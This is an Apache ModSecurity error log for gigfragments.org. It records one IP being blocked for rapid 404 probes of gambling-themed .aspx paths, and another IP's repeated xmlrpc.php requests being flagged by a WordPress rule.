[Mon Mar 02 03:39:22.074484 2026] [:error] [pid 53181:tid 53530] [client 54.37.252.36:57004] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aaSV6or_0T1SazTrJOB2cQAAAQ8"]
[Mon Mar 02 03:39:23.970371 2026] [:error] [pid 26940:tid 26957] [client 54.37.252.36:57006] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aaSV6xrUg-j5GLDtRFlBhwAAAE0"]
[Mon Mar 02 03:39:25.885957 2026] [:error] [pid 26940:tid 26955] [client 54.37.252.36:57012] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aaSV7RrUg-j5GLDtRFlBkAAAAEs"]
[Mon Mar 02 03:39:27.802278 2026] [:error] [pid 26940:tid 26951] [client 54.37.252.36:57016] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aaSV7xrUg-j5GLDtRFlBogAAAEc"]
[Mon Mar 02 03:39:29.716042 2026] [:error] [pid 26940:tid 26962] [client 54.37.252.36:51064] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aaSV8RrUg-j5GLDtRFlBsQAAAFI"]
[Mon Mar 02 03:39:31.750464 2026] [:error] [pid 53181:tid 53517] [client 54.37.252.36:51070] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aaSV84r_0T1SazTrJOB2fgAAAQM"]
[Mon Mar 02 03:39:33.666608 2026] [:error] [pid 26940:tid 26946] [client 54.37.252.36:51080] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aaSV9RrUg-j5GLDtRFlByAAAAEI"]
[Mon Mar 02 03:39:35.549095 2026] [:error] [pid 53180:tid 53454] [client 54.37.252.36:51094] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aaSV9zPPJpDOBvYnaa2EfAAAAYo"]
[Mon Mar 02 03:40:11.723424 2026] [:error] [pid 53182:tid 53551] [client 54.37.252.36:51098] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaSWG_v073cA6eM1YCQahAAAAMg"]
[Mon Mar 02 03:40:13.676985 2026] [:error] [pid 53182:tid 53553] [client 54.37.252.36:36938] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaSWHfv073cA6eM1YCQajAAAAMo"]
[Mon Mar 02 03:40:15.707669 2026] [:error] [pid 26940:tid 26968] [client 54.37.252.36:36944] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aaSWHxrUg-j5GLDtRFlCdAAAAFg"]
[Mon Mar 02 03:40:17.569041 2026] [:error] [pid 53181:tid 53521] [client 54.37.252.36:36958] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aaSWIYr_0T1SazTrJOB2yAAAAQY"]
[Mon Mar 02 03:40:19.570845 2026] [:error] [pid 53181:tid 53538] [client 54.37.252.36:47934] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaSWI4r_0T1SazTrJOB2zQAAARc"]
[Mon Mar 02 03:40:21.586961 2026] [:error] [pid 26940:tid 26956] [client 54.37.252.36:47950] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aaSWJRrUg-j5GLDtRFlCfwAAAEw"]
[Mon Mar 02 03:40:23.596845 2026] [:error] [pid 53182:tid 53547] [client 54.37.252.36:47960] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aaSWJ_v073cA6eM1YCQamAAAAMQ"]
[Mon Mar 02 03:40:25.617824 2026] [:error] [pid 53585:tid 53591] [client 54.37.252.36:47964] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aaSWKXbCvYsvu6kKhM0HxAAAAAM"]
[Mon Mar 02 03:40:27.630256 2026] [:error] [pid 53182:tid 53558] [client 54.37.252.36:47976] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aaSWK_v073cA6eM1YCQaowAAAM4"]
[Mon Mar 02 03:40:29.633875 2026] [:error] [pid 53181:tid 53530] [client 54.37.252.36:42044] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaSWLYr_0T1SazTrJOB22AAAAQ8"]
[Mon Mar 02 03:40:31.634436 2026] [:error] [pid 53181:tid 53534] [client 54.37.252.36:42050] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aaSWL4r_0T1SazTrJOB22wAAARM"]
[Mon Mar 02 03:40:33.637166 2026] [:error] [pid 53182:tid 53555] [client 54.37.252.36:42058] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaSWMfv073cA6eM1YCQatgAAAMs"]
[Mon Mar 02 03:40:35.659014 2026] [:error] [pid 53181:tid 53533] [client 54.37.252.36:42066] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aaSWM4r_0T1SazTrJOB29QAAARI"]
[Mon Mar 02 03:40:37.683621 2026] [:error] [pid 53181:tid 53524] [client 54.37.252.36:42074] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaSWNYr_0T1SazTrJOB3AgAAAQk"]
[Mon Mar 02 03:40:39.559292 2026] [:error] [pid 53180:tid 53448] [client 54.37.252.36:57644] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aaSWNzPPJpDOBvYnaa2E2AAAAYQ"]
[Mon Mar 02 03:40:41.587995 2026] [:error] [pid 26940:tid 26957] [client 54.37.252.36:57652] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aaSWORrUg-j5GLDtRFlClgAAAE0"]
[Mon Mar 02 03:40:43.464748 2026] [:error] [pid 53182:tid 53558] [client 54.37.252.36:57658] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aaSWO_v073cA6eM1YCQawAAAAM4"]
[Mon Mar 02 03:40:45.510614 2026] [:error] [pid 53181:tid 53529] [client 54.37.252.36:57672] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aaSWPYr_0T1SazTrJOB3EQAAAQ4"]
[Mon Mar 02 03:40:47.518844 2026] [:error] [pid 53180:tid 53461] [client 54.37.252.36:57686] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aaSWPzPPJpDOBvYnaa2E4wAAAZE"]
[Mon Mar 02 03:40:49.406822 2026] [:error] [pid 53181:tid 53534] [client 54.37.252.36:44364] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaSWQYr_0T1SazTrJOB3IgAAARM"]
[Mon Mar 02 03:40:51.457155 2026] [:error] [pid 26940:tid 26967] [client 54.37.252.36:44374] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aaSWQxrUg-j5GLDtRFlC3QAAAFc"]
[Mon Mar 02 03:40:53.468698 2026] [:error] [pid 53181:tid 53532] [client 54.37.252.36:44390] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aaSWRYr_0T1SazTrJOB3KwAAARE"]
[Mon Mar 02 03:40:55.349183 2026] [:error] [pid 53585:tid 53597] [client 54.37.252.36:44400] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aaSWR3bCvYsvu6kKhM0H9QAAAAk"]
[Mon Mar 02 03:40:57.372906 2026] [:error] [pid 53180:tid 53465] [client 54.37.252.36:44408] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aaSWSTPPJpDOBvYnaa2E7wAAAZU"]
[Mon Mar 02 03:40:59.392930 2026] [:error] [pid 26940:tid 26962] [client 54.37.252.36:37766] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaSWSxrUg-j5GLDtRFlC9QAAAFI"]
[Mon Mar 02 03:41:01.413624 2026] [:error] [pid 26940:tid 26949] [client 54.37.252.36:37770] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aaSWTRrUg-j5GLDtRFlDBQAAAEU"]
[Mon Mar 02 03:41:03.275909 2026] [:error] [pid 26940:tid 26954] [client 54.37.252.36:37784] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aaSWTxrUg-j5GLDtRFlDFwAAAEo"]
[Mon Mar 02 03:41:05.307993 2026] [:error] [pid 53180:tid 53459] [client 54.37.252.36:37792] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaSWUTPPJpDOBvYnaa2E-gAAAY8"]
[Mon Mar 02 03:41:07.306745 2026] [:error] [pid 53180:tid 53454] [client 54.37.252.36:37808] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaSWUzPPJpDOBvYnaa2E_gAAAYo"]
[Mon Mar 02 04:13:39.128722 2026] [:error] [pid 28795:tid 28872] [client 159.196.168.118:5725] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSd87ROd53wZBkdI_fhxgAAAIk"]
[Mon Mar 02 04:14:47.883667 2026] [:error] [pid 28794:tid 28848] [client 159.196.168.118:5971] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSeN6Vy2qpaelbUob3kwAAAAEw"]
[Mon Mar 02 04:15:40.362898 2026] [:error] [pid 28793:tid 28831] [client 159.196.168.118:5835] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSebA2_fxBANaHo1f7rLgAAABg"]
[Mon Mar 02 04:16:41.890998 2026] [:error] [pid 31257:tid 31263] [client 159.196.168.118:5813] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSeqf-JFLfishX45N_MyQAAAQA"]
[Mon Mar 02 04:17:49.449139 2026] [:error] [pid 28908:tid 28932] [client 159.196.168.118:5886] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSe7YqJmC8ih_lQQnCyegAAANY"]
[Mon Mar 02 04:18:41.758226 2026] [:error] [pid 28794:tid 28843] [client 159.196.168.118:6022] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSfIaVy2qpaelbUob3mrwAAAEc"]
[Mon Mar 02 04:19:41.309291 2026] [:error] [pid 31257:tid 31266] [client 159.196.168.118:6087] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSfXf-JFLfishX45N_QBAAAAQM"]
[Mon Mar 02 04:20:45.464423 2026] [:error] [pid 28794:tid 28857] [client 159.196.168.118:5989] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSfnaVy2qpaelbUob3nkAAAAFU"]
[Mon Mar 02 04:21:40.092960 2026] [:error] [pid 28908:tid 28924] [client 159.196.168.118:5749] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSf1IqJmC8ih_lQQnC2nwAAAM4"]
[Mon Mar 02 04:22:41.930409 2026] [:error] [pid 28908:tid 28926] [client 159.196.168.118:5716] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSgEYqJmC8ih_lQQnC3KwAAANA"]
[Mon Mar 02 04:23:44.450357 2026] [:error] [pid 31257:tid 31267] [client 159.196.168.118:5734] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSgUP-JFLfishX45N_VPQAAAQQ"]
[Mon Mar 02 04:24:44.405758 2026] [:error] [pid 31257:tid 31266] [client 159.196.168.118:5742] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSgjP-JFLfishX45N_WcQAAAQM"]
[Mon Mar 02 04:25:44.463667 2026] [:error] [pid 28794:tid 28852] [client 159.196.168.118:5789] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSgyKVy2qpaelbUob3piAAAAFA"]
[Mon Mar 02 04:26:48.420129 2026] [:error] [pid 31257:tid 31282] [client 159.196.168.118:5699] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaShCP-JFLfishX45N_Y5gAAARM"]
[Mon Mar 02 04:27:52.538058 2026] [:error] [pid 28795:tid 28869] [client 159.196.168.118:6081] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaShSLROd53wZBkdI_fq1AAAAIY"]
[Mon Mar 02 04:28:56.271310 2026] [:error] [pid 28908:tid 28924] [client 159.196.168.118:5644] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaShiIqJmC8ih_lQQnC8rwAAAM4"]
[Mon Mar 02 04:29:44.917445 2026] [:error] [pid 31257:tid 31280] [client 159.196.168.118:5846] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaShuP-JFLfishX45N_byAAAARE"]
[Mon Mar 02 04:30:52.652155 2026] [:error] [pid 28794:tid 28844] [client 159.196.168.118:6026] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSh_KVy2qpaelbUob3rzQAAAEg"]
[Mon Mar 02 04:31:44.553263 2026] [:error] [pid 28794:tid 28841] [client 159.196.168.118:5656] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaSiMKVy2qpaelbUob3sIgAAAEU"]
